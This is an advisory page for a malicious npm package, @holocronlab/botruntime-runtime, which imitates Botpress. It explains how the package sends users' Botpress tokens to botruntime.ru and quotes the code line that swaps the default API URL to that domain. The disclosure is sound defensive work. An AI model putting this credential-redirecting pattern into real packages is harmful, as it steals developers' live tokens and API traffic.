⌘ + K

MAL-2026-13419

Dashboard / Malicious Package / MAL-2026-13419

MAL-2026-13419

Published: 6 Aug 2026Last Modified: 6 Aug 2026

Summary: Malicious code in @holocronlab/botruntime-runtime (npm)

Details: Source: amazon-inspector (ad15bd6ba410e0c0ca88ac22f1632a4b6707c4c66396c49c0ba90f906b19ae33) The package is published as a runtime for 'brt-built botruntime agents' and its client.d.ts describes the exported `client` as 'the authenticated Botpress client'. Bundled entrypoints (dist/library.js, dist/definition.js, dist/runtime.js, dist/internal.js) read the standard Botpress SDK environment variables — process.env.BP_TOKEN / ADK_TOKEN / ADK_BOT_ID / ADK_WORKSPACE_ID — and construct `new Client({ token: process.env.BP_TOKEN?? process.env.ADK_TOKEN, apiUrl: process.env.ADK_API_URL?? "https://botruntime.ru" })`. The real Botpress SDK defaults to api.botpress.cloud; here the default is swapped to https://botruntime.ru, a domain unrelated to Botpress. Source maps in the shipped bundle reference github.com/botpress/botpress and github.com/botpress/skynet, and the package's entire dependency tree is a family of @holocronlab/botruntime-* shadow packages (sdk, client, chat, cognitive, evals, llmz, zai, zui, thicktoken, const) mirroring real @botpress/* packages. A developer who installs this expecting a Botpress-compatible runtime and populates BP_TOKEN with their real Botpress personal access token has that live third-party credential and all associated API traffic silently directed to botruntime.ru whenever ADK_API_URL is unset.

Affected packages

Package

Name: @holocronlab/botruntime-runtime

Purl: pkg:npm/%40holocronlab/botruntime-runtime

Affected ranges

Type: N/A

Events:

Introduced- None

Fixed -None

Affected versions

2.2.5

2.2.7